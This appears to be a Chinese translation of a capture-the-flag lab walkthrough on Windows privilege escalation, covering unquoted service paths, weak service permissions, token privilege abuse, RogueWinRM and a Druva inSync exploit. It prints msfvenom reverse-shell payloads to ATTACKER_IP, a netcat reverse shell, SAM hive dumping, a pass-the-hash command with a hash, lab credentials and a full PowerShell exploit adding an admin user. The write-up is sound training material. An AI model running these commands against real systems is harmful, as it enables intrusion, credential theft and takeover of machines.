作为示例,让我们看一下两个服务之间的区别(这些服务仅用作示例,可能在您的计算机中不可用)。第一个服务将使用正确的引用,以便 SCM 毫无疑问地知道它必须执行由 "C:\Program Files\RealVNC\VNC Server\vncserver.exe" ,后跟给定的参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
C:\> sc qc "vncserver"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: vncserver
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : "C:\Program Files\RealVNC\VNC Server\vncserver.exe" -service
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : VNC Server
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

请记住:PowerShell 将“sc”作为“Set-Content”的别名,因此,如果您处于PowerShell提示符中,则需要使用“sc.exe”来控制服务。
现在让我们看看另一项没有正确引用的服务:

1
2
3
4
5
6
7
8
9
10
11
12
13
C:\> sc qc "disk sorter enterprise"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: disk sorter enterprise
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Disk Sorter Enterprise
DEPENDENCIES :
SERVICE_START_NAME : .\svcusr2

当 SCM 尝试执行关联的二进制文件时,就会出现问题。由于“Disk Sorter Enterprise”文件夹的名称上有空格,因此该命令变得不明确,并且 SCM 不知道您正在尝试执行以下哪一个

Command Argument 1 Argument 2
C:\MyPrograms\Disk.exe Sorter Enterprise\bin\disksrs.exe
C:\MyPrograms\Disk Sorter.exe Enterprise\bin\disksrs.exe
C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe

这与命令提示符如何解析命令有关。通常,当您发送命令时,空格将用作参数分隔符,除非它们是带引号的字符串的一部分。这意味着未加引号的命令的“正确”解释是执行C:\MyPrograms\Disk.exe并将其余部分作为参数。

SCM 没有像它可能应该发生的那样失败,而是尝试帮助用户并开始按照表中所示的顺序搜索每个二进制文件:

  1. 首先,搜索C:\MyPrograms\Disk.exe 。如果存在,该服务将运行此可执行文件。
  2. 如果后者不存在,则会搜索 C:\MyPrograms\Disk Sorter.exe 。如果存在,该服务将运行此可执行文件。
  3. 如果后者不存在,则会搜索 C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe 。此选项预计会成功,并且通常会在默认安装中运行。

从这个行为来看,问题就显而易见了。如果攻击者创建了在预期服务可执行文件之前搜索的任何可执行文件,他们就可以强制服务运行任意可执行文件。

虽然这听起来微不足道,但默认情况下,大多数服务可执行文件将安装在C:\Program FilesC:\Program Files (x86)下,非特权用户无法写入。这可以防止任何易受攻击的服务被利用。此规则也有例外:

  • 某些安装程序更改已安装文件夹的权限,使服务容易受到攻击。
  • 管理员可能决定将服务二进制文件安装在非默认路径中。如果这样的路径是全局可写的,则该漏洞可以被利用。

在我们的例子中,管理员将磁盘排序器二进制文件安装在c:\MyPrograms下。默认情况下,它继承C:\目录的权限,允许任何用户在其中创建文件和文件夹。我们可以使用icacls检查这一点:

1
2
3
4
5
6
7
8
9
C:\>icacls c:\MyPrograms
c:\MyPrograms NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
BUILTIN\Users:(I)(CI)(AD)
BUILTIN\Users:(I)(CI)(WD)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

BUILTIN\Users组具有ADWD权限,允许用户分别创建子目录和文件。我们可以看看当前用户的所属用户组

1
whoami /groups

如果具有足够的权限,使用 msfvenom 创建 exe-service Payload 并将其传输到目标主机的过程与以前相同,因此请像以前一样创建以下 Payload 并将其上传到服务器。我们还将启动一个侦听器来接收反向 shell 执行时的情况:

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f exe-service -o rev-svc2.exe

一旦有效负载进入服务器,请将其移动到可能发生劫持的任何位置。在这种情况下,我们将把有效负载移动到C:\MyPrograms\Disk.exe 。我们还将授予每个人对该文件的完全权限,以确保该服务可以执行该文件:

1
2
3
4
C:\> move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe

C:\> icacls C:\MyPrograms\Disk.exe /grant Everyone:F
Successfully processed 1 files.

服务重新启动后,您的有效负载应该执行:

1
2
C:\> sc stop "disk sorter enterprise"
C:\> sc start "disk sorter enterprise"

结果,您将获得具有 svcusr2 权限的反向 shell

不安全的服务权限

如果服务的可执行 DACL 配置良好,并且正确引用了服务的二进制路径,您仍然有机会利用该服务。如果服务 DACL (不是服务的可执行DACL )允许您修改服务的配置,您将能够重新配置该服务。这将允许您指向所需的任何可执行文件并使用您喜欢的任何帐户运行它,包括 SYSTEM 本身。

要从命令行检查服务 DACL,您可以使用 Sysinternals 套件中的Accesschk 。为了您的方便,可以在C:\\tools中获取副本。检查 thmservice 服务DACL 的命令是:

1
2
3
4
5
6
7
8
9
10
11
12
13
C:\tools\AccessChk> accesschk64.exe -qlc thmservice
[0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_PAUSE_CONTINUE
SERVICE_START
SERVICE_STOP
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
[4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
SERVICE_ALL_ACCESS

在这里我们可以看到BUILTIN\\Users组具有SERVICE_ALL_ACCESS权限,这意味着任何用户都可以重新配置服务。

在更改服务之前,让我们构建另一个 exe-service 反向 shell,并在攻击者的计算机上启动它的侦听器:

1
2
3
user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o rev-svc3.exe

user@attackerpc$ nc -lvp 4447

然后我们将反向 shell 可执行文件传输到目标机器并将其存储在 C:\Users\thm-unpriv\rev-svc3.exe 。请随意使用 wget 传输您的可执行文件并将其移动到所需的位置。请记住授予每个人执行您的有效负载的权限:

1
C:\> icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F

要更改服务关联的可执行文件和帐户,我们可以使用以下命令(使用 sc.exe 时请注意等号后面的空格):

1
C:\> sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem

请注意,我们可以使用任何帐户来运行该服务。我们选择 LocalSystem,因为它是可用的最高特权帐户。要触发我们的有效负载,剩下的就是重新启动服务:

1
2
C:\> sc stop THMService
C:\> sc start THMService

我们将在攻击者的机器上收到一个具有系统权限的 shell:

1
2
3
4
5
6
7
8
user@attackerpc$ nc -lvp 4447
Listening on 0.0.0.0 4447
Connection received on 10.10.175.90 50650
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
NT AUTHORITY\SYSTEM

Task6 滥用危险的特权

Windows 权限

权限是帐户执行特定系统相关任务所拥有的权利。这些任务可以像关闭计算机的权限一样简单,也可以像绕过某些基于DACL的访问控制的权限一样简单。

每个用户都有一组分配的权限,可以使用以下命令进行检查:

1
whoami /priv

此处提供了 Windows 系统上可用权限的完整列表。从攻击者的角度来看,只有那些允许我们在系统中升级的特权才有意义。您可以在Priv2Admin Github 项目上找到可利用权限的完整列表。

虽然我们不会逐一查看,但我们将展示如何滥用您可以找到的一些最常见的特权。

SeBackup / SeRestore提权

SeBackup 和 SeRestore 权限允许用户读取和写入系统中的任何文件,忽略任何DACL 。此权限背后的想法是允许某些用户从系统执行备份,而无需完全管理权限。

有了这种能力,攻击者可以使用多种技术轻松提升系统权限。我们将研究的方法包括复制 SAM 和 SYSTEM 注册表配置单元以提取本地管理员的密码哈希值。

使用以下凭据通过RDP登录到目标计算机:

用户: THMBackup

密码: CopyMaster555

1
xfreerdp /v:10.10.255.156 /u:THMBackup /p:CopyMaster555

该帐户属于“Backup Operators”组,默认情况下被授予 SeBackup 和 SeRestore 权限。我们需要使用“以管理员身份打开”选项打开命令提示符才能使用这些权限。我们将被要求再次输入密码以获得提升的控制台

进入命令提示符后,我们可以使用以下命令检查我们的权限:

1
whoami /priv

要备份 SAM 和 SYSTEM 哈希值,我们可以使用以下命令:

1
2
reg save hklm\system C:\Users\THMBackup\system.hive
reg save hklm\sam C:\Users\THMBackup\sam.hive

这将创建几个包含注册表配置单元内容的文件。现在,我们可以使用 SMB 或任何其他可用方法将这些文件复制到攻击者计算机。对于 SMB,我们可以使用 impacket 的smbserver.py在 AttackBox 的当前目录中启动一个带有网络共享的简单SMB服务器:

1
2
mkdir share
python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share

并使用 impacket 检索用户的密码哈希值:

1
python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL

我们终于可以使用管理员的哈希来执行哈希传递攻击并获得具有系统权限的目标计算机的访问权限:

1
python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1205a84d07b0e3b34f5 administrator@10.10.255.156

SeTakeOwnership提权

SeTakeOwnership 权限允许用户获取系统上任何对象的所有权,包括文件和注册表项,这为攻击者提升权限提供了多种可能性,例如,我们可以搜索作为 SYSTEM 运行的服务并获取所有权服务的可执行文件。然而,对于这项任务,我们将采取不同的路线。

使用以下凭据通过RDP登录到目标计算机:

用户: THMTakeOwnership

密码: TheWorldIsMine2022

1
xfreerdp /v:10.10.255.156 /u:THMTakeOwnership /p:TheWorldIsMine2022

要获得 SeTakeOwnership 权限,我们需要使用“以管理员身份打开”选项打开命令提示符。我们将被要求输入密码以获得提升的控制台

进入命令提示符后,我们可以使用以下命令检查我们的权限:

1
whoami /priv

这次我们将滥用utilman.exe来升级权限。 Utilman 是一个内置的 Windows 应用程序,用于在锁定屏幕期间提供“轻松访问”选项:

由于 Utilman 是以 SYSTEM 权限运行的,因此如果我们将原始二进制文件替换为我们喜欢的任何有效负载,我们将有效地获得 SYSTEM 权限。由于我们可以拥有任何文件的所有权,因此替换它是微不足道的。

要替换 utilman,我们将首先使用以下命令获取它的所有权:

1
takeown /f C:\Windows\System32\Utilman.exe

请注意,成为文件的所有者并不一定意味着您拥有该文件的权限,但作为所有者,您可以为自己分配所需的任何权限。要为您的用户授予 utilman.exe 的完全权限,您可以使用以下命令:

1
icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F

然后,我们将用 cmd.exe 的副本替换 utilman.exe:

1
copy cmd.exe utilman.exe

要触发 utilman,我们将从开始按钮锁定屏幕:

最后,继续单击“轻松访问”按钮,该按钮将以系统权限运行 utilman.exe。由于我们将其替换为 cmd.exe 副本,因此我们将获得具有 SYSTEM 权限的命令提示符:

SeImpersonate / SeAssignPrimaryToken提权

这些权限允许进程模拟其他用户并代表他们执行操作。模拟通常包括能够在另一个用户的安全上下文下生成进程或线程。

当您考虑FTP服务器的工作原理时,就很容易理解模拟。 FTP服务器必须限制用户只能访问他们应该被允许查看的文件。

假设我们有一个使用用户ftp运行的FTP服务。如果没有模拟,如果用户 Ann 登录 FTP 服务器并尝试访问她的文件,FTP 服务将尝试使用其访问令牌而不是 Ann 的访问令牌来访问它们:

使用 ftp 令牌不是最好的主意有几个原因: - 为了正确提供文件, ftp用户需要可以访问它们。在上面的示例中,FTP 服务将能够访问 Ann 的文件,但不能访问 Bill 的文件,因为 Bill 文件中的 DACL 不允许用户ftp 。这增加了复杂性,因为我们必须为每个提供的文件/目录手动配置特定权限。 - 对于操作系统,所有文件均由用户ftp访问,与当前登录FTP服务的用户无关。这使得无法将授权委托给操作系统;因此, FTP服务必须实现它。 - 如果FTP服务在某个时刻遭到破坏,攻击者将立即获得对ftp用户有权访问的所有文件夹的访问权限。

另一方面,如果 FTP 服务的用户具有 SeImpersonate 或 SeAssignPrimaryToken 权限,则所有这些都会稍微简化,因为FTP服务可以临时获取登录用户的访问令牌,并使用它来执行其上的任何任务。代表:

现在,如果用户 Ann 登录到 FTP 服务,并且考虑到 ftp 用户具有模拟权限,则它可以借用 Ann 的访问令牌并使用它来访问她的文件。这样,文件不需要以任何方式提供对用户ftp访问,并且操作系统会处理授权。由于 FTP 服务正在冒充 Ann,因此在该会话期间它将无法访问 Jude 或 Bill 的文件。

作为攻击者,如果我们设法控制具有 SeImpersonate 或 SeAssignPrimaryToken 权限的进程,我们就可以模拟连接该进程并对其进行身份验证的任何用户。

在Windows系统中,你会发现LOCAL SERVICE和NETWORK SERVICE ACCOUNTS已经拥有这样的权限。由于这些帐户用于使用受限帐户生成服务,因此如果服务需要,允许它们模拟连接用户是有意义的。 Internet 信息服务 (IIS) 还将为 Web 应用程序创建一个名为“iis apppool\defaultapppool”的类似默认帐户。

要使用此类帐户提升权限,攻击者需要满足以下条件:

  1. 生成一个进程,以便用户可以连接该进程并对其进行身份验证,以进行模拟。
  2. 找到一种方法来强制特权用户连接并验证生成的恶意进程。

我们将使用 RogueWinRM 漏洞来实现这两个条件。

首先,假设我们已经入侵了一个在 IIS 上运行的网站,并且我们已经在以下地址植入了 Web shell:

1
http://10.10.255.156/

我们可以使用 Web shell 检查受感染帐户的分配权限,并确认我们拥有此任务感兴趣的两项权限:

要使用RogueWinRM,我们首先需要将漏洞利用程序上传到目标机器。为了您的方便,这已经完成,您可以在C:\tools\文件夹中找到该漏洞。

RogueWinRM 漏洞利用是可能的,因为每当用户(包括非特权用户)在 Windows 中启动 BITS 服务时,它都会使用系统权限自动创建到端口 5985 的连接。端口 5985 通常用于 WinRM 服务,它只是一个公开 Powershell 控制台以通过网络远程使用的端口。可以将其想象为SSH ,但使用 Powershell。

如果由于某种原因,WinRM 服务没有在受害服务器上运行,则攻击者可以在端口 5985 上启动伪造的 WinRM 服务,并在启动时捕获 BITS 服务进行的身份验证尝试。如果攻击者具有SeImpersonate权限,他可以代表连接用户(即SYSTEM)执行任何命令。

在运行漏洞之前,我们将启动一个 netcat 侦听器以在攻击者的计算机上接收反向 shell。然后,使用我们的 Web shell 使用以下命令触发 RogueWinRM 漏洞利用:

1
c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe 10.10.253.40 4442"

注意:该漏洞可能需要长达 2 分钟才能发挥作用,因此您的浏览器可能会出现一段时间无响应。如果您多次运行漏洞利用程序,就会发生这种情况,因为它必须等待 BITS 服务停止才能再次启动。 BITS服务将在启动2分钟后自动停止。

-p参数指定漏洞利用程序运行的可执行文件,在本例中为nc64.exe-a参数用于将参数传递给可执行文件。由于我们希望 nc64 针对攻击者计算机建立反向 shell,因此传递给 netcat 的参数将为-e cmd.exe ATTACKER_IP 4442

Task7 滥用易受攻击的软件

打补丁的软件

RDP连接靶机

1
xfreerdp /v:10.10.99.140 /u:thm-unpriv /p:Password321

目标系统上安装的软件可以提供各种权限升级机会。与驱动程序一样,组织和用户可能不会像更新操作系统那样频繁地更新它们。您可以使用wmic工具列出目标系统上安装的软件及其版本。下面的命令将转储它可以在已安装的软件上收集的信息(可能需要大约一分钟才能完成):

1
wmic product get name,version,vendor

请记住, wmic product命令可能不会返回所有已安装的程序。根据某些程序的安装方式,它们可能不会在此处列出。检查桌面快捷方式、可用服务或任何表明存在可能易受攻击的其他软件的痕迹始终是值得的。

一旦我们收集了产品版本信息,我们就可以随时在exploit-dbpacketstorm或plain old Google等网站上在线搜索已安装软件的现有漏洞。使用 wmic 和 Google,您能在任何已安装的产品上找到已知漏洞吗?

案例研究:Druva inSync 6.6.3

目标服务器正在运行 Druva inSync 6.6.3,正如Matteo Malvica报告的那样,该服务器容易受到权限升级的影响。该漏洞是由于对Chris Lyne最初报告的 6.5.0 版本的另一个漏洞应用了错误补丁而导致的。

该软件容易受到攻击,因为它在端口 6064 上运行具有系统权限的 RPC(远程过程调用)服务器,只能从本地主机访问。如果您不熟悉 RPC,它只是一种允许给定进程通过网络公开函数(RPC 行话中称为过程)的机制,以便其他计算机可以远程调用它们。

对于 Druva inSync,端口 6064 上公开的过程之一(特别是过程号 5)允许任何人请求执行任何命令。由于 RPC 服务器以 SYSTEM 身份运行,因此任何命令都以 SYSTEM 权限执行。

6.5.0 及更早版本中报告的原始漏洞允许不受限制地运行任何命令。提供此类功能的最初想法是远程执行 inSync 提供的一些特定二进制文件,而不是任何命令。尽管如此,仍然没有进行任何检查来确保这一点。

发布了一个补丁,他们决定检查执行的命令是否以字符串C:\ProgramData\Druva\inSync4\开头,这是允许的二进制文件应该在的位置。但是,事实证明这还不够,因为您可以简单地进行路径遍历攻击来绕过这种控制。假设您要执行C:\Windows\System32\cmd.exe ,但它不在允许的路径中;你可以简单地要求服务器运行 C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe 这样就可以成功绕过检查。

为了构建一个可行的漏洞利用程序,我们需要了解如何与端口 6064 通信。幸运的是,我们使用的协议很简单,要发送的数据包如下图所示:

第一个数据包只是一个包含固定字符串的 hello 数据包。第二个数据包表明我们想要执行程序 5,因为这是一个易受攻击的程序,它将为我们执行任何命令。最后两个数据包分别用于发送命令的长度和要执行的命令字符串。

最初由 Matteo Malvica在此发布,可以在目标计算机中使用以下漏洞来提升权限并检索此任务的标志。为了您的方便,以下是原始漏洞利用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ErrorActionPreference = "Stop"

$cmd = "net user pwnd /add"

$s = New-Object System.Net.Sockets.Socket(
[System.Net.Sockets.AddressFamily]::InterNetwork,
[System.Net.Sockets.SocketType]::Stream,
[System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)

$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);

$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)

您可以弹出 Powershell 控制台并直接粘贴漏洞来执行它

(该漏洞也可以在目标计算机中使用,网址为 C:\tools\Druva_inSync_exploit.txt )。

请注意,在$cmd变量中指定的漏洞利用的默认有效负载将在系统中创建一个名为pwnd的用户,但不会为其分配管理权限,因此我们可能希望更改有效负载以获取更有用的内容。对于这个房间,我们将更改exp的$cmd以运行以下命令:

1
net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add

这将创建密码为SimplePass123的用户pwnd并将其添加到管理员组中。如果利用成功,您应该能够运行以下命令来验证用户pwnd是否存在并且是管理员组的一部分:

然后就能以管理员身份运行命令提示符,搜索下命令行

右键以管理员运行,选择我们创建的pwnd用户

成功提权SYSTEM权限

Task8 专业工具

有几个脚本可以以类似于上一个任务中看到的方式进行系统枚举。这些工具可以缩短枚举过程时间并发现不同的潜在特权升级向量。但是,请记住,自动化工具有时可能会错过权限升级。

以下是一些常用于识别权限升级向量的工具。请随意对这个房间中的任何机器运行它们,看看结果是否与讨论的攻击向量相匹配。

WinPEAS

WinPEAS 是一个开发用于枚举目标系统以发现权限提升路径的脚本。您可以找到有关 winPEAS 的更多信息并下载预编译的可执行文件或 .bat 脚本。 WinPEAS 将运行与上一个任务中列出的命令类似的命令并打印其输出。 winPEAS 的输出可能很长,有时难以阅读。这就是为什么最好始终将输出重定向到文件,如下所示:

1
winpeas.exe > outputfile.txt       

WinPEAS 可以在此处下载。

PrivescCheck

PrivescCheck 是一个PowerShell脚本,用于搜索目标系统上的常见权限升级。它提供了 WinPEAS 的替代方案,无需执行二进制文件。

PrivescCheck 可在此处下载。

提醒:要在目标系统上运行 PrivescCheck,您可能需要绕过执行策略限制。为此,您可以使用Set-ExecutionPolicy,如下所示。

1
2
3
Set-ExecutionPolicy Bypass -Scope process -Force
.\PrivescCheck.ps1
Invoke-PrivescCheck
WES-NG Windows 漏洞利用建议器

一些漏洞利用建议脚本(例如 winPEAS)将要求您将它们上传到目标系统并在那里运行它们。这可能会导致防病毒软件检测并删除它们。为了避免发出不必要的噪音来吸引注意力,您可能更喜欢使用 WES-NG,它将在您的攻击机器上运行(例如 Kali 或 TryHackMe AttackBox)。

WES-NG 是一个 Python 脚本,可以在此处找到并下载。

安装后,在使用之前,键入wes.py --update命令来更新数据库。该脚本将引用它创建的数据库来检查是否有缺失的补丁,这些补丁可能会导致您可以利用漏洞来提升您在目标系统上的权限。

要使用该脚本,您需要在目标系统上运行systeminfo命令。不要忘记将输出定向到您需要移动到攻击计算机的 .txt 文件。

完成后,wes.py 可以按如下方式运行;

1
wes.py systeminfo.txt
Metasploit

如果目标系统上已有Meterpreter shell,则可以使用 multi/recon/local_exploit_suggester 模块列出可能影响目标系统的漏洞并允许您提升目标系统上的权限。

Task9 总结

在这个房间中,我们介绍了 Windows 系统中可用的几种权限升级技术。这些技术应该为您提供有关攻击者提升系统权限的最常见路径的坚实背景。如果您有兴趣了解其他技术,可以使用以下资源: